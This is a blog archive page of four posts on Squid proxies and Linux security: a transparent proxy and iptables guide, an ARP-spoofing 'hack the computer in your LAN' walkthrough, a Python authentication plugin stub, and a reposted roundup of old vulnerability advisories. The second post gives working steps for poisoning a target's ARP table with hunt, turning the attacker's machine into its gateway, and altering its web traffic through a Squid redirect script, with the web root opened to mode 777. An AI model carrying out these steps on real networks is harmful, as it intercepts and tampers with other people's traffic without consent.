SQUID: PC Tips by Anu

Showing posts with label SQUID. Show all posts

Monday, March 28, 2011

LINUX : Easy to use Linux firewall program/tool.

Monday, March 28, 2011

Anu

Y'day I got a chance to play with Squid and iptables. My job was simple : Setup Squid proxy as a transparent server.

Main benefit of setting transparent proxy is you do not have to setup up individual browsers to work with proxies.

{For that, I'm greatful to My Linux Teacher (Mr. Parvin) bcz 1st time he introduce me to SQUID configurations n now I use some/lots of implementation on that configuration for that post}

My Setup:

i) System: Intel P c2d CPU system with 4 GB RAM (good for squid).
ii) Eth0: IP:192.168.1.1
iii) Eth1: IP: 192.168.2.1 (192.168.2.0/24 network (around 150 windows XP systems {~~VIRTUALLY~~}))
iv) OS: Red Hat Enterprise Linux 5.0 (Following instruction should work with Debian and all other Linux distros)
Eth0 connected to internet and eth1 connected to local lan i.e. system act as router.

Server Configuration

Step #1 : Squid configuration so that it will act as a transparent proxy
Step #2 : Iptables configuration

a) Configure system as router
b) Forward all http requests to 3128 (DNAT)

Step #3: Run scripts and start squid service

First, Squid server installed (use up2date squid) and configured by adding following directives to file:

# vi /etc/squid/squid.conf

Modify or add following squid directives:

httpd_accel_host virtual httpd_accel_port 80 httpd_accel_with_proxy on httpd_accel_uses_host_header on acl lan src 192.168.1.1 192.168.2.0/24 http_access allow localhost http_access allow lan

Where,

httpd_accel_host virtual: Squid as an httpd accelerator
httpd_accel_port 80: 80 is port you want to act as a proxy
httpd_accel_with_proxy on: Squid act as both a local httpd accelerator and as a proxy.
httpd_accel_uses_host_header on: Header is turned on which is the hostname from the URL.
acl lan src 192.168.1.1 192.168.2.0/24: Access control list, only allow LAN computers to use squid
http_access allow localhost: Squid access to LAN and localhost ACL only
http_access allow lan: -- same as above --

Here is the complete listing of squid.conf for your reference (grepwill remove all comments and sed will remove all empty lines):

# grep -v "^#" /etc/squid/squid.conf | sed -e '/^$/d'

OR, try out sed

# cat /etc/squid/squid.conf | sed '/ *#/d; /^ *$/d'

Output:

hierarchy_stoplist cgi-bin ? acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY hosts_file /etc/hosts refresh_pattern ^ftp: 1440 20% 10080 refresh_pattern ^gopher: 1440 0% 1440 refresh_pattern . 0 20% 4320 acl all src 0.0.0.0/0.0.0.0 acl manager proto cache_object acl localhost src 127.0.0.1/255.255.255.255 acl to_localhost dst 127.0.0.0/8 acl purge method PURGE acl CONNECT method CONNECT cache_mem 1024 MB http_access allow manager localhost http_access deny manager http_access allow purge localhost http_access deny purge http_access deny !Safe_ports http_access deny CONNECT !SSL_ports acl lan src 192.168.1.1 192.168.2.0/24 http_access allow localhost http_access allow lan http_access deny all http_reply_access allow all icp_access allow all visible_hostname myclient.hostname.com httpd_accel_host virtual httpd_accel_port 80 httpd_accel_with_proxy on httpd_accel_uses_host_header on coredump_dir /var/spool/squid

Iptables configuration

Next, I had added following rules to forward all http requests (coming to port 80) to the Squid server port 3128 :

iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j DNAT --to 192.168.1.1:3128 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

Here is complete shell script. Script first configure Linux systemas router and forwards all http request to port 3128 (Download the fw.proxy shell script):

#!/bin/sh # squid server IP SQUID_SERVER="192.168.1.1" # Interface connected to Internet INTERNET="eth0" # Interface connected to LAN LAN_IN="eth1" # Squid port SQUID_PORT="3128" # DO NOT MODIFY BELOW # Clean old firewall iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X # Load IPTABLES modules for NAT and IP conntrack support modprobe ip_conntrack modprobe ip_conntrack_ftp # For win xp ftp client #modprobe ip_nat_ftp echo 1 > /proc/sys/net/ipv4/ip_forward # Setting default filter policy iptables -P INPUT DROP iptables -P OUTPUT ACCEPT # Unlimited access to loop back iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # Allow UDP, DNS and Passive FTP iptables -A INPUT -i $INTERNET -m state --state ESTABLISHED,RELATED -j ACCEPT # set this system as a router for Rest of LAN iptables --table nat --append POSTROUTING --out-interface $INTERNET -j MASQUERADE iptables --append FORWARD --in-interface $LAN_IN -j ACCEPT # unlimited access to LAN iptables -A INPUT -i $LAN_IN -j ACCEPT iptables -A OUTPUT -o $LAN_IN -j ACCEPT # DNAT port 80 request comming from LAN systems to squid 3128 ($SQUID_PORT) aka transparent proxy iptables -t nat -A PREROUTING -i $LAN_IN -p tcp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT # if it is same system iptables -t nat -A PREROUTING -i $INTERNET -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT # DROP everything and Log it iptables -A INPUT -j LOG iptables -A INPUT -j DROP

Save shell script. Execute script so that system will act as a router and forward the ports:

# chmod +x /etc/fw.proxy # /etc/fw.proxy # service iptables save # chkconfig iptables on

Start or Restart the squid:

# /etc/init.d/squid restart # chkconfig squid on

Desktop / Client computer configuration

Point all desktop clients to your eth1 IP address (192.168.2.1) asRouter/Gateway (use DHCP to distribute this information). You do nothave to setup up individual browsers to work with proxies.

How do I test my squid proxy is working correctly?

See access log file /var/log/squid/access.log:

# tail -f /var/log/squid/access.log

Above command will monitor all incoming request and log them to/var/log/squid/access_log file. Now if somebody accessing a websitethrough browser, squid will log information.

Problems and solutions

(a) Windows XP FTP Client

All Desktop client FTP session request ended with an error:
Illegal PORT command.
I had loaded the ip_nat_ftp kernel module. Just type the following command press Enter and voila!

# modprobe ip_nat_ftp

Please note that modprobe command is already added to a shell script (above).

(b) Port 443 redirection

I had block out all connection request from our router settingsexcept for our proxy (192.168.1.1) server. So all ports including 443(https/ssl) request denied. You cannot redirect port 443, from debian mailing list, "Longanswer: SSL is specifically designed to prevent "man in the middle"attacks, and setting up squid in such a way would be the same as such a"man in the middle" attack. You might be able to successfully achivethis, but not without breaking the encryption and certification that isthe point behind SSL".
Therefore, I had quickly reopen port 443 (router firewall) for all my LAN computers and problem was solved.

(c) Squid Proxy authentication in a transparent mode

You cannot use Squid authentication with a transparently intercepting proxy.

Tuesday, March 22, 2011

How to hack the computer in your LAN?

Tuesday, March 22, 2011

Anu

This is what we want to do:

Make the target send all http packet to us instead of the gateway
Forward them to the real gateway
Modify the replay, with the pictures upside-down
Forward the replay to the target

This is how we’re going to do it:

Poison the ARP table of the target
Set up our pc as a gateway router
Send all http requests through a squid proxy
Turn images upside-down with a squid script

Ok, sound great, lets get started!

1. Poison the ARP table of the target
We want the target to send all packets to us instead of the real gateway. To do this we need to know a little about ip addresses and mac addresses. When we wan to send a packet to 10.0.0.1, there is sent out an ARP request on the local lan, saying “Which computer is at 10.0.0.1?”, then 10.0.0.1 answers with an ARP repay “I am at 10.0.0.1, with mac address 11:22:33:44:55:66″.
Then we send the packet to 11:22:33:44:55:66. ARP replays are cached in a local ARP table, so the next time we want to send to 10.0.0.1, we don’t need to ask who’s got it. We are going to send a fake ARP replay to the target (10.0.0.88), saying we are at 10.0.0.1. Usually ARP replays are accepted even though no request was sent, so this is actually really easy.
How do I do this?
We can use arpoison to construct a fake packet and send it, but i prefer to use another a bit mor powerful script, called hunt. You can download the hunt source code here, and compile like this:

tar zxvf hunt-1.5.tgz
cd hunt-1.5
make

Fire up hunt:

sudo ./hunt

In the menu system go to

a) daemons rst/arp/sniff/mac
b) arp spoof + arp relayer daemon
c) insert single/range arp spoof
d) start/stop relayer daemon (press s)

Type in the ip of the real gateway, your mac address (find this by running ifconfig), and the targets ip. Now we have poisoned the ARP table of the target. You can confirm the poisoning by typing “arp -a” on the target, and see that the gateway ip has your mac address.

2. Set up our pc as a gateway router
This is easy, just do this commands:

sudo iptables -F
sudo iptables -F -t nat
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Where eth0 is your network interface connected to the lan. The changes are reset the next time the network is reloaded.

3. Send all http requests through a squid proxy
Install squid and reset it’s config:

sudo apt-get squid
sudo mv /etc/squid/squid.conf /etc/squid/squid.conf.default

Edit /etc/squid/squid.conf with your favorite editor like this:

http_port 127.0.0.1:8080
http_port 10.0.0.2:8080
visible_hostname gateway.my.flat
cache_mgr proxy@foo.com
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
acl all src 0.0.0.0/0.0.0.0
http_access allow all
redirect_program /var/redirect

4. Turn images upside-down with a squid script
We use the redirect program defined in the squid config to flip our images, edit /var/redirect to look like this:

#!/usr/bin/perl $|=1; $count = 0; $pid = $$; while (<>) { chomp $_; if ($_ =~ /(.*\.jpg)/i) { $url = $1; system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.jpg”, “$url”); system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.jpg”); system(”/bin/chmod”, “777″, “/var/www/$pid-$count.jpg”); print “http://127.0.0.1/$pid-$count.jpg\n”; } elsif ($_ =~ /(.*\.gif)/i) { $url = $1; system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.gif”, “$url”); system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.gif”); system(”/bin/chmod”, “777″, “/var/www/$pid-$count.gif”); print “http://127.0.0.1/$pid-$count.gif\n”;
} else { print “$_\n”;; } $count++; }

As you can see from the script, we need to serve the flipped images from a local webserver. Therefore, install apache:

sudo apt-get install apache2
sudo chmod -R 777 /var/www

At last, reload squid with the new configuration:

sudo /etc/init.d/squid restart

You can test the squid by configuring your firefox to use localhost:8080 as a proxy server.

YOU HAVE NOW HACKED THE TARGET COMPUTER!

Thanks....

Sunday, March 20, 2011

Write Custom Basic Authentication Plugin for Squid in Python?

Sunday, March 20, 2011

Anu

To write a Python program which can be used to authenticate for Squid proxy server. This is useful when you don’t want to configure complex systems like LDAP, ntlm etc.

Use Cases

When you want to authenticate clients using mysql database.
When you want to authenticate clients using flat files or /etc/passwd file or some custom service on your network.

How to proceed

From auth_param section in squid.conf file:

Specify the command for the external authenticator. Such a program reads a line containing "username password" and replies "OK" or "ERR" in an endless loop. "ERR" responses may optionally be followed by a error description available as %m in the returned error page.
By default, the basic authentication scheme is not used unless a program is specified.

That clearly states that our python program should read a line from standard input (stdin) and write the appropriate response to the standard output (stdout). But there are some issues with I/O. The output should be unbuffered and should be flushed to standard output immediately after the response is known.
So, lets see a small program where we authenticate using a function ‘matchpassword()‘. This function returns True when username, password pair matches and returns False when they mismatch.

#!/usr/bin/python
 
import sys
import socket
"""USAGE:The function returns True if the user and passwd match False otherwise"""
def matchpasswd(login,passwd):
    # Write your own function definition. 
    # Use mysql, files, /etc/passwd or some service or whatever you want

CLICK HERE TO DOWNLOAD FULL SCRIPT (1KB)

Save the above file somewhere. We save this example file in /etc/squid/custom_auth.py .Now, we have the function for authenticating clients. We need to configure squid to use custom_auth.py . Below is the squid configuration for telling squid to use the above program as basic authenticator.

# you need to specify /usr/bin/python if your file is not executable and needs an interpreter to be invoked.
# Replace /usr/bin/python with /usr/bin/php , if you write auth program in php.
auth_param basic program /usr/bin/python /etc/squid/custom_auth.py
# how many instances of the above program should run concurrently
auth_param basic children 5
# display some message to clients when they are asked for username, password
auth_param basic realm Please enter your proxy server username and password
# for how much time the authentication should be valid
auth_param basic credentialsttl 2 hours
# whether username, password should be case sensitive or not
auth_param basic casesensitive on

Now, to force clients to authenticate, configure the acls as follow. Below we assume, you want to force all clients on your lan to authenticate for using proxy server.

# acl to force proxy authentication
acl authenticated proxy_auth REQUIRED
# acl to define IPs from your lan
acl lan src 192.168.0.0/16
# acl to force clients on your lan to authenticate
http_access allow lan authenticated

Now, reload/restart squid. That’s all we need to write and use a custom authentication plugin for squid.

Limitation

Username can’t contain spaces. Otherwise program will not be able to parse/extract username, password from standard input.

THANKS........

Wednesday, November 17, 2010

A root exploit n DoS in Kernel

Wednesday, November 17, 2010

Anu

Here is a root exploit and adenial-of-service attack in the Linux kernel; buffer overflows inSnes9x and Oracle 9i Web Cache; and problems in PAM's login, Squid,Apache, Mac OS X, W3Mail, sdiff, and looking-glasses.

Take a look Here i wan't to describe that this tutorial is not mine, my friend **"Code Mobile <codemobile@yahoo.com>" is the original author of that tutorial.**

So, i wan't to give all the credits to "Code Mobile"

Linux Kernel Root Exploit

Some Linux kernels have vulnerabilities that can be exploited to gainroot access and be used in a denial-of-service attack. It is reportedthat Linux kernels 2.2.19 and earlier in the 2.2.x series, and 2.4.9and earlier in the 2.4.x series, are vulnerable.
The vulnerability that can be used to gain root permissions isexploited by ptrace and a set user id program. When it is exploited, arbitrary code will be executed with root permissions. A script to automate the exploit using the newgrp command has been released.
The denial-of-service attack is caused by making the kernelde-reference multiple symbolic links. The Linux Kernel version 2.4.10has a partial fix for this vulnerability. A script has also beenreleased that can be used to automate the denial-of-service attack.
It is recommended that affected users upgrade their Linux kernel toversion 2.4.12 or a patched version of the 2.2.x kernel as soon aspossible. At the time of this writing, it had been reported thatupdated packages had been released by Caldera, Red Hat, EnGarde SecureLinux, Trustix Secure Linux, and Immunix OS.

PAM Login

There is a problem in the way that PAM's login implementation handlesusers' credentials that, under some circumstances, can be exploited to gainaccess to other users' accounts. The login program stores the user'scredentials in a static buffer that, when used with other non-defaultPAM modules (such as pam_limits), may result in the credentialsoverwriting another user's and allowing them access to the account.
Affected users should watch their vendor for an updated util-linuxpackage. Red Hat and Trustix Secure Linux have released updatedutil-linux packages that repair this problem.

Squid

There is a bug in the way that Squid handles mkdir PUT requests in aFTP session that can be used by an attacker in a denial-of-serviceattack.
It has been reported that this bug was fixed on September 18, 2001 and that users should upgrade to a version released after this date. Updatedpackages have been released for Red Hat Linux 6.2, 7.0, and 7.1.

Apache

Two remotely-exploitable problems have been reported in the Apache Webserver: a specially crafted host header can be used by an attacker tooverwrite arbitrary files on the server that have a name that ends in.log, and when multiviews are being used for a directory index, adirectory listing may be returned instead of the proper content.
Users should upgrade to Apache 1.3.22 or newer as soon as possible.Updated packages have been announced for Conectiva Linux and EnGardeSecure Linux.

Mac OS X

It has been reported that local users on Mac OS X can executeapplications and shells as the root user. The menu bar on OS X runsas root and executes applications that it starts as the root user.For example, it will start a text editor with root permissions orexecute applications from the "Recent Items" list as root.
It has been reported that Apple has a "Security Update 10-19-01" thatwill fix this problem.

W3Mail

The W3Mail Web mail package's CGI scripts fail to check formeta-characters and can be exploited to execute arbitrarycommands as the user running the Web server.
Users should watch for an updated version of W3Mail and shouldconsider removing or disabling the package until it has beenrepaired.

sdiff

There is a temporary file race condition vulnerability in the sdiffutility that may be exploitable by an attacker to overwrite arbitraryfiles.
It is recommended that users watch their vendor for an updated sdiff package. Red Hat has released an updated diffutils package for RedHat Linux 5.2, 6.2, 7.0, and 7.1.

looking-glasses

looking-glasses is a set of scripts that are used to allow viewing of specific information about a Cisco router on a Web page. There aremultiple versions, but most are reported to have been written in Perl.Some versions of looking-glasses that are based on the original looking-glasses have vulnerabilities that can be exploited by a remoteattacker to execute Cisco IOS commands or to view unauthorizedinformation on the router that looking-glasses is reporting on.
The vulnerable looking-glasses version that can be obtained fromnitrous.digex.net is unsupported and no patches have been released forit.

Snes9x

Snes9x emulates a Super Nintendo Entertainment System under Linux.Version 1.37 of Snes9x, and possibly earlier versions, is vulnerable toa buffer overflow that may be exploitable to gain root access if theemulator is installed set user id root. Snes9x is sometimes installedset user id root so that it can be run in full screen mode.
Affected users should upgrade Snex9x as soon as possible and shouldconsider removing the set user id bit.

Oracle 9i Web Cache

The Oracle 9i Web Cache has a buffer overflow that can be used by anattacker to deny access to the server. The buffer overflow isexploited by sending a very long URL to the Web Cache and is reportedto affect version 2.0.0.1.0 of the Web Cache on all platforms.
It is reported that Oracle has released patches for this problem.Affected users should contact Oracle for the patch for their system.

Thanks...